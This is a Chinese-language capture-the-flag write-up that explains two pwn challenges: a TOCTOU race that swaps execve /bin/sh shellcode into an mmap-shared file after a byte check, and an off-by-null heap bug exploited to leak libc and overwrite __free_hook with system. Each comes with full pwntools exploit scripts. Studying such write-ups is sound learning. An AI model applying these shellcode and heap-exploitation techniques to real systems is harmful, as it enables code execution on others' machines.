Table of Contents
strange_code_runner
程序功能
这是一个可以执行 shellcode 的小程序,三个选项依次是edit、load、run,运行一下简单了解一下这个可执行文件的功能:
1. edit code2. load code3. run code>>>1>>>AAAAA
>>>2load success
>>>3unable to pass the check我们仔细看这三个功能:edit 读取输入写进名为 code 的文件
void edit_code(){ int fd; char buf[0x20]; fd = open("code", O_RDWR); printf(">>>"); read(0, buf, 0x20); write(fd, buf, 0x20); close(fd); return ;}load 功能中获取文件的内容,不过用到的不是常见的 read 函数读文件的内容,而是不太寻常的 mmap ,至于不寻常在何处,后文会详细展开。
void load_code(){ if(is_load){ puts("already loaded"); }else{ int fd; fd = open("code", O_RDWR); code_addr = mmap(NULL, 0x20, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); is_load = 1; puts("load success"); } return ;}run 选项检查 shellcode 的字符是不是在 0x50-0x55 之间,然后跳转到 shellcode 的地址执行(jmp rax)。
void run_code(){ if(is_load && code_addr){ int i=0; while (i<0x20) { if(code_addr[i] < 'P' || code_addr[i] > 'U'){ puts("unable to pass the check"); return ; } i++; } puts("are u sure to continue"); puts("1. continue"); puts("2. no"); uint32_t choice = read_uint(); if(choice == 1){ asm("jmp * %[addr]" : [addr] "+r" (code_addr)); } }else{ puts("code not load"); } return ;}0x50-0x55 对应的 opcode 是几个 push 操作,看起来有限的几个字符构造出来的 shellcode 很难进行下一步操作,比如 getshell 或者继续读一段新的不受限制的 shellcode。
mmap
这时我们回到之前提到的 mmap 函数,这个函数的功能不仅是读文件而已—— mmap 把文件和进程的地址空间映射,进程可以操作这一段内存,而系统会自动把修改的内容写入文件,同样文件中的修改也会反映到内存。
如果我们可以在成功通过检查检查之后修改内存里面的 shellcode,是不是可以执行任意字符组成的代码了?也就是说,我们先输入一段可以通过检查的 shellcode,在检查之后准备运行之前,我们新开一个连接把全新的内容写入 code 文件,mmap 映射会帮我们把更改的文件同步到内存区域,即将要执行的 shellcode 就被改变了:
这种在检查和执行的时间差中间更改了内容的手段被称为 TOCTOU (time of check, time of use)。
shellocde
这样的话思路就清晰了,我们需要重新写入一段小于 0x20 的 shellcode 拿到 shell,不过 pwntools 自带的构造出来的有点太长了:
>>> len(pwn.asm(pwn.shellcraft.sh()))44这里我们可以自己写一小段,( 当然也可以从 exploit db 找一段来
from pwn import *sc='''mov rbx, 0x68732f6e69622fpush rbxpush rsppop rdimov rax, 0x3bxor rdx, rdxxor rsi, rsisyscall'''len(asm(sc)) # 28exp
所以完整的 exp 可以长这样:
from pwn import *
elf_path = "./pwn"ip = "ctf.buptmerak.cn"port = "20022"content = 1
context(os='linux',arch='amd64',log_level='debug')if content == 1: p = process(elf_path) p1 = process(elf_path)
else: p = remote(ip, port) p1 = remote(ip, port)
sla = lambda x, y: p.sendlineafter(x, y)sla1 = lambda x, y: p1.sendlineafter(x, y)
# ----------------------------------------------------------
bin_sh_sc='''mov rbx, 0x68732f6e69622fpush rbxpush rsppop rdimov rax, 0x3bxor rdx, rdxxor rsi, rsisyscall'''sla(b'>>>', b'1')sla(b'>>>', b'P'*0x20)sla(b'>>>', b'2')sla(b'>>>', b'3')
sla1(b'>>>', b'1')sla1(b'>>>', asm(bin_sh_sc))sla(b'>>>', b'1')p.interactive()(知道了漏洞点之后就会觉得这也有点明显了,谁执行 shellcdoe 还特意读写文件呢。
eorder
功能
这是一个简单的 eorder 订餐系统,有增加、修改、查看、删除订单四个选项,用到的结构体如下:
typedef struct { char name[16]; int choice; int time; char dormitory[8]; char* note_addr;} order;在堆中这些变量是这样布局的:
off by null
在读取字符数组时有一个 \x00 的溢出
void read_str(char * buf, int size ){ printf(">>>"); int read_size = read(0, buf, size); buf[read_size] = 0x00; return ;}也就是说,如果输入 0x10 字节的 name 或者 0x8 字节的 dormitory,多余的一个 \x00 字节会溢出到下一个变量,可以在 modify 的时候更改指向 note 的指针。
比较特殊的 index = 2 的 order,如果 dormitory 溢出一字节更改后的指针正好指向这个指针本身 (下图的 0x561fe413b400),这样就可以自由修改这个指针来读取或修改任意的位置信息。
for i in range(2): add(i, 'a', 1, 2, 'a', b'a' )add(2, 'a', 1, 2, 'a'*7, b'tsctf-j')pause()modify(2, 'a', 1, 2, 'a'*7, b'aaa')
思路
glibc2.32 下,freehook 还是可以利用的,我们的目标就是利用上面这个任意写的指针更改 free hook 的内容为 system 或 one_gadget 等。
首先泄露 heap 的地址,在 add 之后打印内容,可以在打印 domitory 时候连带出堆的地址:
# heap basefor i in range(2): add(i, 'a', 1, 2, 'a', b'a' )add(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')show(2)ru(b'a'*7 + b'\n')heap_base = u64(rx(6).ljust(8, b'\x00')) - 0x420leak('heap_base', heap_base)
过程中比较难的是如何泄露 libc 的基址。可以修改某一个堆大小到 unsortedbin 的范围,然后打印其内容,注意这里有一个检查该 free 的 chunk 的下一个 chunk 的 pre_inuse 位,因此要提前申请大量的 chunk,或者用任意写的指针改一下。
nextchunk = chunk_at_offset(p, size);
/* Or whether the block is actually not marked used. */if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)");大概是这样
for i in range(3, 15): add(i, 'a', 1, 2, 'a', b'a')
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x470))modify(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))delete(3)modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x481)) # skip \x00show(2)malloc_hook = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10leak('malloc_hook', malloc_hook)接下来就是修改 hook:
free_hook = libc_base + libc.sym['__free_hook']system_addr = libc_base + libc.sym['system']modify(2, 'a', 1, 2, 'a'*7, p64(free_hook))modify(2, 'a', 1, 2, 'a', p64(system_addr))add(15, 'a', 1, 2, 'a', b'/bin/sh')delete(15)p.interactive()exp
完整的脚本如下
from pwn import *
elf_path = "./pwn"libc_path = "/home/giacomo/tools/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6"ip = ""port = ""content = 1
context(os='linux',arch='amd64')if content == 1: p = process(elf_path) # p = gdb.debug(elf_path)
else: p = remote(ip, port)
r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# ----------------------------------------------------------
def add(index, name, dish, time, dorm, note): sla(b'>>>', b'0') sla(b'>>>', str(index).encode()) sla(b'>>>', name.encode()) sla(b'>>>', str(dish).encode()) sla(b'>>>', str(time).encode()) sla(b'>>>', dorm.encode()) sla(b'>>>', note)
def modify(index, name, dish, time, dorm, note): sla(b'>>>', b'1') sla(b'>>>', str(index).encode()) sla(b'>>>', name.encode()) sla(b'>>>', str(dish).encode()) sla(b'>>>', str(time).encode()) sla(b'>>>', dorm.encode()) sa(b'>>>', note)
def delete(index): sla(b'>>>', b'3') sla(b'>>>', str(index).encode())
def show(index): sla(b'>>>', b'2') sla(b'>>>', str(index).encode())
# heap basefor i in range(2): add(i, 'a', 1, 2, 'a', b'a' )add(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')for i in range(3, 15): add(i, 'a', 1, 2, 'a', b'a')show(2)ru(b'a'*7 + b'\n')heap_base = u64(rx(6).ljust(8, b'\x00')) - 0x420leak('heap_base', heap_base)
# libc basemodify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x470))modify(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))delete(3)modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x481)) # skip \x00show(2)malloc_hook = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10leak('malloc_hook', malloc_hook)libc = ELF(libc_path)libc_base = malloc_hook - libc.sym['__malloc_hook']leak('libc_base', libc_base)
# hackfree_hook = libc_base + libc.sym['__free_hook']system_addr = libc_base + libc.sym['system']modify(2, 'a', 1, 2, 'a'*7, p64(free_hook))modify(2, 'a', 1, 2, 'a', p64(system_addr))add(15, 'a', 1, 2, 'a', b'/bin/sh')delete(15)p.interactive()难点主要是找一个可以到处读写的指针,除此之外因为涉及 free 操作的检查和地址泄露,对 glibc 也要比较了解吧。这题作为新生赛有点挑战的(出题人自我反省 ing),所以 wp 尽量写详细了,如果有没讲明白的地方欢迎联系我捏 🥺